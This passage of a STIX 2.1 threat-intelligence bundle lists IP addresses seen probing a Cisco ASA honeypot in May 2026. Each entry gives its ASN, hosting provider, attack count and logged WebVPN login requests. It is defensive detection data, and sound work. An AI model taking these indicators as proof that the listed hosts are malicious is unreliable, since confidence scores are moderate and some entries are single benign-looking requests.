        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:20:05.000Z",
      "valid_until": "2026-06-03T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-02T00:17:43.831Z",
          "last_seen": "2026-05-30T14:47:52.907Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--68a9dc1a-4e4a-49cd-a82d-d19897126e26",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:20:05.000Z",
      "valid_until": "2026-06-03T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 22,
          "first_seen": "2026-05-02T00:05:37.407Z",
          "last_seen": "2026-05-30T02:53:05.941Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5a21ce9c-5866-4a9a-88bb-b03062892fdc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:20:05.000Z",
      "valid_until": "2026-06-03T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-02T00:14:34.001Z",
          "last_seen": "2026-05-29T01:05:06.498Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--53d8ce00-b22f-451e-8048-72438e016bc2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.112.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:20:05.000Z",
      "valid_until": "2026-06-03T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T19:13:38.078Z",
          "last_seen": "2026-05-27T21:44:41.012Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2231d745-1cce-4a02-b0cd-e8cf5694bc2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:20:05.000Z",
      "valid_until": "2026-06-03T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T19:42:40.812Z",
          "last_seen": "2026-05-26T02:10:42.703Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2d0c1cb2-c5d6-461a-a507-453b0e2ab939",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:20:05.000Z",
      "valid_until": "2026-06-03T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-02T00:04:49.280Z",
          "last_seen": "2026-05-30T09:27:22.898Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--e9df6973-5791-4750-9f2e-be65dcf21203",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:20:05.000Z",
      "valid_until": "2026-06-03T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-02T00:15:26.415Z",
          "last_seen": "2026-05-25T10:39:56.838Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--af491789-7d4c-4428-93f8-10f184febbe9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:20:05.000Z",
      "valid_until": "2026-06-03T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 72,
          "first_seen": "2026-05-02T00:01:20.497Z",
          "last_seen": "2026-05-27T20:23:01.622Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--edaba786-e731-49c5-8724-62296976da04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:20:05.000Z",
      "valid_until": "2026-06-03T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-04T22:17:10.693Z",
          "last_seen": "2026-05-30T05:35:56.722Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--958d59cf-8972-48c6-96c9-135004cb1d40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-02T01:14:39.997Z",
          "last_seen": "2026-05-26T04:50:31.919Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--5fc664c4-9b02-4d2d-bbb4-c7d9c213cebd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-02T00:57:41.227Z",
          "last_seen": "2026-05-02T00:57:41.884Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--32ab76b7-0d63-4fc2-a04e-1d86cece5f66",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-02T00:54:33.784Z",
          "last_seen": "2026-05-23T09:30:22.012Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2a26a4a5-75f7-4b9c-b10d-fbeb8dab4f82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-02T01:11:05.232Z",
          "last_seen": "2026-05-29T20:40:01.213Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--462e1491-476b-4dfb-bb19-092f8740a3c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.206.228.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-02T00:55:19.986Z",
          "last_seen": "2026-05-02T00:55:19.986Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--421b2536-ac05-4abb-b7a4-93c1cbe45cbc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.73.145.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-02T01:00:50.068Z",
          "last_seen": "2026-05-02T01:00:50.068Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5313e511-5921-4160-9ceb-b1d9cfe1d53c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-02T00:26:05.923Z",
          "last_seen": "2026-05-05T15:42:58.822Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e84fc0a3-70ed-4c44-836f-03888779c029",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-02T00:37:00.102Z",
          "last_seen": "2026-05-05T09:02:14.648Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ee94b536-c9d9-45dd-9761-c5b7582d94f7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-02T00:29:28.616Z",
          "last_seen": "2026-05-27T23:54:59.989Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--2b40cbce-201b-404e-952e-d3fe53d6b122",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.242.178.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-02T00:54:59.098Z",
          "last_seen": "2026-05-02T00:55:02.101Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c545d348-be0a-4590-ba46-4b1496935430",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 55,
          "first_seen": "2026-05-02T01:13:22.978Z",
          "last_seen": "2026-05-30T13:45:57.941Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T01:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--569e7f19-f46c-4cd0-8999-f62307e2750f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:20:01.000Z",
      "valid_until": "2026-06-03T01:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
